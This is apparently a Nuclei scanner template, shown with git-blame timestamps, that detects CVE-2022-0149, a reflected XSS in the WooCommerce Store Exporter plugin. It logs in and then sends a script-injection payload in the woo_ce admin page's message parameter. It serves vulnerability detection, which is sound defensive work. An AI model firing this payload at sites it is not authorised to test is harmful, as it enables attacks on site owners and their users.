2022-02-19 11:21:38 +00:00
|
|
|
|
id: CVE-2022-0149
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: WooCommerce – Store Exporter < 2.7.1 - Reflected Cross-Site Scripting (XSS)
|
|
|
|
|
author: dhiyaneshDk
|
|
|
|
|
severity: medium
|
|
|
|
|
description: The plugin was affected by a Reflected Cross-Site Scripting (XSS) vulnerability in the woo_ce admin page.
|
|
|
|
|
reference: https://wpscan.com/vulnerability/e47c288a-2ea3-4926-93cc-113867cbc77c
|
2022-02-19 11:22:51 +00:00
|
|
|
|
classification:
|
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
|
cvss-score: 6.10
|
|
|
|
|
cve-id: CVE-2022-0149
|
|
|
|
|
cwe-id: CWE-79
|
2022-02-22 08:03:56 +00:00
|
|
|
|
tags: wordpress,wp-plugin,xss,woocommerce,cve,cve2022
|
2022-02-19 11:21:38 +00:00
|
|
|
|
|
|
|
|
|
requests:
|
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
POST /wp-login.php HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
|
|
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
|
|
|
- |
|
2022-02-22 08:03:25 +00:00
|
|
|
|
GET /wp-admin/admin.php?page=woo_ce&failed=1&message=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
|
2022-02-19 11:21:38 +00:00
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: word
|
|
|
|
|
part: body
|
|
|
|
|
words:
|
2022-02-22 08:03:25 +00:00
|
|
|
|
- "</script><script>alert(document.domain)</script>"
|
2022-02-19 11:21:38 +00:00
|
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
|
part: header
|
|
|
|
|
words:
|
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
|
status:
|
|
|
|
|
- 200
|